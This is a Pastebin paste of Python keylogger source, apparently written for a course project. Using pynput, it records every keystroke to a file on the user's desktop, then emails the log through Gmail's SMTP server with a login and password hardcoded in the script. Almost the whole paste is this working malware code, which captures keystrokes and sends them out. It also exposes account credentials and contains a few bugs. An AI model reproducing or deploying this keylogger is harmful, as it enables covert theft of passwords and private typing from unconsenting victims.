Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from pynput.keyboard import Key, Listener
- import logging
- from time import sleep
- import smtplib
- import datetime
- data = ''
- log_dir = r"C:/users/enrique/desktop/"
- logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
- def on_press(key):
- logging.info(str(key))
- with Listener(on_press=on_press) as listener:
- listener.join()
- f = open("C:/users/enrique/desktop/keyLog.txt", "r")
- data = f.read()
- def send_mail():
- global data
- while True:
- if len(data) > 10:
- timeInSecs = datetime.datetime.now()
- SERVER = "smtp.gmail.com"
- PORT = 587
- USER = "CMPE132KEYLOGGER@GMAIL.COM"
- PASS = "CMPE132PROJECT"
- FROM = USER
- TO = [USER]
- SUBJECT = "B33: " + timeInSecs.isoformat()
- MESSAGE = data
- message_payload = "\r\n".join((
- "From: %s" % FROM,
- "To: %s" % TO,
- "Subject: %s" % SUBJECT,
- "",
- MESSAGE))
- try:
- server = smtplib.SMTP()
- server.connect(SERVER, PORT)
- server.starttls()
- server.login(USER, PASS)
- server.sendmail(FROM, TO, message_payload)
- data = ''
- server.quit()
- except Exception as error:
- print
- error
- sleep(5)
- send_mail(data)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement